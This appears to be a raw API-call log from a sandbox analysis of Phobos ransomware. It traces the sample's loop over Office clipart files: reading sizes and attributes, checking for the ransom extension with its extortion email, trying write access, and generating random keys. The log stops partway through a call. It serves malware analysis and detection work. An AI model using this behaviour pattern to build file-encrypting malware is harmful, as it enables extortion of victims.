[0152.274] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=50898) returned 1 [0152.274] CloseHandle (hObject=0x564) returned 1 [0152.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287024.wmf")) returned 0x220 [0152.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287024.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.274] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.420] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=52496) returned 1 [0152.421] CloseHandle (hObject=0x57c) returned 1 [0152.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287408.wmf")) returned 0x220 [0152.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287408.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.421] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.422] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=67564) returned 1 [0152.422] CloseHandle (hObject=0x57c) returned 1 [0152.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296288.wmf")) returned 0x220 [0152.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296288.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.423] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297229.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.424] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=22990) returned 1 [0152.424] CloseHandle (hObject=0x57c) returned 1 [0152.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297229.wmf")) returned 0x220 [0152.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297229.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297229.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297229.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.425] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.426] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15652) returned 1 [0152.426] CloseHandle (hObject=0x57c) returned 1 [0152.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297269.wmf")) returned 0x220 [0152.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297269.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.426] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.427] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16950) returned 1 [0152.427] CloseHandle (hObject=0x57c) returned 1 [0152.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297725.wmf")) returned 0x220 [0152.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297725.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.428] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.429] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15516) returned 1 [0152.429] CloseHandle (hObject=0x57c) returned 1 [0152.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297727.wmf")) returned 0x220 [0152.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297727.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.430] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297757.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.431] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18750) returned 1 [0152.431] CloseHandle (hObject=0x57c) returned 1 [0152.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297757.wmf")) returned 0x220 [0152.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297757.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297757.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297757.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.431] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.432] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18784) returned 1 [0152.433] CloseHandle (hObject=0x57c) returned 1 [0152.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297759.wmf")) returned 0x220 [0152.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297759.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.433] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.434] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17796) returned 1 [0152.434] CloseHandle (hObject=0x57c) returned 1 [0152.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0300862.wmf")) returned 0x220 [0152.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0300862.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.435] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.436] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11022) returned 1 [0152.436] CloseHandle (hObject=0x57c) returned 1 [0152.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301044.wmf")) returned 0x220 [0152.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301044.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.436] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301052.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.437] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10984) returned 1 [0152.437] CloseHandle (hObject=0x57c) returned 1 [0152.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301052.wmf")) returned 0x220 [0152.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301052.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301052.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301052.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.437] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.438] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19034) returned 1 [0152.438] CloseHandle (hObject=0x57c) returned 1 [0152.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301418.wmf")) returned 0x220 [0152.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301418.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.438] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.438] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19962) returned 1 [0152.439] CloseHandle (hObject=0x57c) returned 1 [0152.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301432.wmf")) returned 0x220 [0152.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301432.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.439] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.440] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3616) returned 1 [0152.440] CloseHandle (hObject=0x57c) returned 1 [0152.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304371.wmf")) returned 0x220 [0152.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304371.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.441] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304405.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.441] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4158) returned 1 [0152.441] CloseHandle (hObject=0x57c) returned 1 [0152.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304405.wmf")) returned 0x220 [0152.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304405.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304405.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304405.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.442] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304853.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0152.443] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18958) returned 1 [0152.443] CloseHandle (hObject=0x57c) returned 1 [0152.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304853.wmf")) returned 0x220 [0152.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304853.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304853.wmf"), 